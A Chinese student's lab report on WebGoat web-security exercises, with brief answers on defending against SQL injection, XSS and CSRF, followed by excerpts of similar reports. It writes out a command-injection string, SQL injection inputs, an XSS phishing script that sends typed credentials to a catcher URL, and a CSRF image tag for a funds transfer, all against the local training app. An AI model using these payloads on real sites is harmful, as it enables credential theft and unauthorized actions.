2018-2019-2 20165219《网络对抗技术》Exp9 Web安全基础

2018-2019-2 20165219《网络对抗技术》Exp9 Web安全基础

一 实验内容

WebGoat配置

进入https://github.com/WebGoat/WebGoat/releases?after=8.0.0网站

下载 webgoat-container-7.0.1-war-exec.jar

输入java -jar webgoat-container-7.0.1-war-exec.jar安装jar包

览器登陆http://localhost:8080/WebGoat网站

SQL注入攻击
1.命令注入(Command Injection)

选择 Injection Flaws -> Command Injection
右键页面中复选框,选择inspect
Element审查网页元素对源代码进行修改,在末尾添加"& netstat -an & ipconfig"

点击 view,看到网络端口使用情况和 IP 地址,攻击成功

2.Numeric SQL Injection

Goal:The form below allows a user to view weather data. Try to inject an SQL string that results in all the weather data being displayed.

右键点击复选框,选择inspect Element审查网页元素对源代码value="101"进行修改,在城市编号101后面添加or 1=1

3.String SQL Injection

Goal:The form below allows a user to view their credit card numbers. Try to inject an SQL string that results in all the credit card numbers being displayed.

输入查询的用户名‘ or 1=1--

4.String SQL Injection

Goal:Use String SQL Injection to bypass authentication.

在密码框右键选择inspect Element审查网页元素对长度进行修改

在密码框输入‘ or 1=1 --

XSS攻击
1 Phishing with XSS

编写一个带用户名和密码输入框的表格

<form>
  <br><br><HR><H3>This feature requires account login:</H3 ><br><br>
  Enter Username:<br><input type="text" id="user" name="user"><br>
  Enter Password:<br><input type="password" name = "pass"><br>
  </form><br><br><HR>

编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat

function hack()
  {
      alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
      XSSImage=new Image;
      XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
  }
  </script>

将两段代码合并后,在 XSS - > Phishing with XSS搜索上面代码,在显示的表单中输入用户名和密码,登录后WebGoat会将输入的信息捕获并反馈给我们

2 Reflected XSS

在code框输入<script>alert("20165219");</script>

点击purchase,则会弹出窗口,内容是括号里的串

3 Stored XSS Attacks

在massage部分插入jsp代码,代码会被浏览器解析成html的内容

在message窗口输入<script>alert("wyb");</script>,说明攻击成功

CSRF攻击
1 Cross Site Request Forgery

在Message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=303&menu=900&transferFunds=10000" width="1" height="1" />

问题回答

SQL注入攻击原理,如何防御

检查输入数据类型和格式

XSS攻击的原理,如何防御

在表单提交或者url参数传递前,对需要的参数进行过滤。检查用户输入的内容中是否有非法内容

CSRF攻击原理,如何防御

通过referer、token或者验证码来检测用户提交 避免全站通用的cookie,严格设置cookie的域

原文地址:https://www.cnblogs.com/wyb-1998/p/10926482.html

时间: 2024-10-10 09:14:21

2018-2019-2 20165219《网络对抗技术》Exp9 Web安全基础的相关文章

2018~2019-10 20165107 网络对抗技术 Exp9 Web安全基础

20165107 网络对抗技术 Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,包括(SQL,XSS,CSRF) Webgoat实践下相关实验. 基础问题问答 1.SQL注入攻击原理,如何防御 SQL注入攻击原理:是指通过构建特殊的输入作为参数传入Web应用程序,输入执行SQL语句进而执行攻击者所要的操作.如在用户名.密码登输入框中输入一些',--,#等特殊字符,实现引号闭合.注释部分SQL语句,利用永真式实现登录.显示信息等目的. 如何防御:

20145301赵嘉鑫 《网络对抗》Exp9 Web安全基础实践

20145301赵嘉鑫 <网络对抗>Exp9 Web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL注入攻击原理:SQL 是一门 ANSI 的标准计算机语言,用来访问和操作数据库系统.SQL 语句用于取回和更新数据库中的数据.SQL注入是一种通过操作输入来修改后台SQL语句达到代码执行进行攻击目的的技术.通过构建特殊的输入作为参数传入web应用程序,通过执行SQL语句进执行攻击者所要的操作,其主要原因是程序没有细致的过滤用户输入的数据,致使非法数据侵入系统. SQL注入

#20155232《网络对抗》Exp9 Web安全基础

20155232<网络对抗>Exp9 Web安全基础 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 WebGoat Webgoat是OWASP组织研究出的一个专门进行web漏洞实验的应用品台,这个平台里包含了web中常见的各种漏洞,例如:跨站脚本攻击.sql注入.访问控制.隐藏字段.Cookie等: OWASP(Open Web Application Security Project)是一个非营利的组织,它的目的是帮助个人和企业来发现和使用可信赖的软件

20155308《网络对抗》Exp9 Web安全基础实践

20155308<网络对抗>Exp9 Web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 WebGoat WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞.WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS.线程安全.SQL注入等,我们本次的实验就是在WebGoat平台上进行. 1.WebGoat分为简单版和开发板,简单版是个Java的Jar包,

20155208徐子涵《网络对抗》Exp9 Web安全基础

20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目的我最后一次进行这个紧张刺激的活动了. WebGoat Webgoat是OWASP组织研究出的一个专门进行web漏洞实验的应用品台,这个平台里包含了web中常见的各种漏洞,例如:跨站脚本攻击.sql注入.访问控制.隐藏字段.Cookie等: 首先我们在kali里面下载Webgoat,这是一个jar包,因为在虚

20155323刘威良《网络对抗》Exp9 Web安全基础

20155323刘威良<网络对抗>Exp9 Web安全基础 实践目的 理解常用网络攻击技术的基本原理. 实践内容 Webgoat实践下相关实验. 实践过程 开启WebGoat WebGoat是由OWASP负责维护的一个漏洞百出的J2EE Web应用程序,这些漏洞并非程序中的bug,而是故意设计用来进行Web应用程序安全训练的.这个应用程序提供了一个逼真的模拟实战的教学环境,为用户完成课程提供了有关的线索. 我们在终端下输入命令java -jar webgoat-container-7.0.1-

20145317彭垚《网络对抗》Exp9 Web安全基础实践

20145317彭垚<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的. 对于SQL注入攻击的防范,我觉得主要还是应该从代码上入手: 采用预编译语句集PreparedStatement,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可.它的原理就是sql注入只对sql语句的准备(编译)过程有破坏作用,而Prep

20145311王亦徐 《网络对抗技术》 Web安全基础实践

2014531王亦徐 <网络对抗技术> Web安全基础实践 实验内容 利用WebGoat平台尝试了一些XSS.CSRF.SQL注入攻击 基础问题回答 1.SQL注入攻击原理,如何防御原理: SQL注入是指攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息.简单地认为是将sql语句作为输入交给表单或者通过域名等将sql交给后台,从而欺骗服务器执行sql语句 防范: 过滤字符串,对一些数据库敏感

20145236《网络对抗》Exp9 web安全基础实践

20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句. 对用户的输入进行校验,可以通过正则表达式,或限制长

20155324《网络对抗技术》web安全基础实践

20155324<网络对抗技术>web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 实验问答 SQL注入攻击原理,如何防御 ①SQL注入攻击是攻击者在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,把SQL语句当做用户名等输入正常网页中以获取数据库信息的攻击,最终达到欺骗服务器执行恶意的SQL命令 ②对输入的数据进行过滤,在数据库中对密码进行加密 XSS攻击的原理,如何防御 ①通过对网页注入可执行代码,成功地被浏览器执行,以达到攻击的目的